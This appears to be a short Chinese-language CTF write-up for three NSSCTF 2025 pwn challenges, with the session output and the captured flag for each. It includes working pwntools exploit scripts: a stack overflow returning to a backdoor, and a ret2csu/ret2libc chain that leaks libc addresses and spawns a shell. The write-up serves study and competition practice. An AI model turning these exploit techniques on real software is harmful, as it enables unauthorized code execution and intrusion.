hello_pwn

直接nc连接得flag，没什么说的。

haoo@haoo:~/Desktop$ nc node6.anna.nssctf.cn 24590
Welcome, ctfer, to NSSCTF 2025. We wish you a great time!
A journey of a thousand miles begins with a single step.
Go ahead and grab your first flag now!
ls
bin
bug
dev
flag
lib
lib32
lib64
libexec
libx32
cat flag
NSSCTF{e6f6b5fd-968d-4425-ac40-23a58494102f}

他得不到她

简单的栈溢出，存在后门函数，只是将system(‘/bin/sh’)换成了system(‘$0’)。

from pwn import*
context.arch='amd64'
context.os='linux'
io=remote('node6.anna.nssctf.cn',26589)
ret=0x040101a

payload=cyclic(40)+p64(0x0401203)
io.sendline(payload)

io.interactive()

__libc_csu_init()

简单的ret2csu，直接打。

from pwn import*
elf=ELF('./csu')
libc=ELF('./csulibc.so.6')
io=remote('node6.anna.nssctf.cn',29382)

rdi=0x04008b3
rsi_r15=0x04008b1
ret=0x04005b1
addr=0x0400746
write_plt=elf.plt['write']
write_got=elf.got['write']

payload=b'\x00'*(0x50+8)+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(addr)
io.sendline(payload)
write=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write))

libc_base=write-libc.sym['write']
print("libc_base: ",hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh'))

payload=b'\x00'*(0x50+8)+p64(rdi)+p64(bin_sh)+p64(system)+p64(addr)
io.sendline(payload)

io.interactive()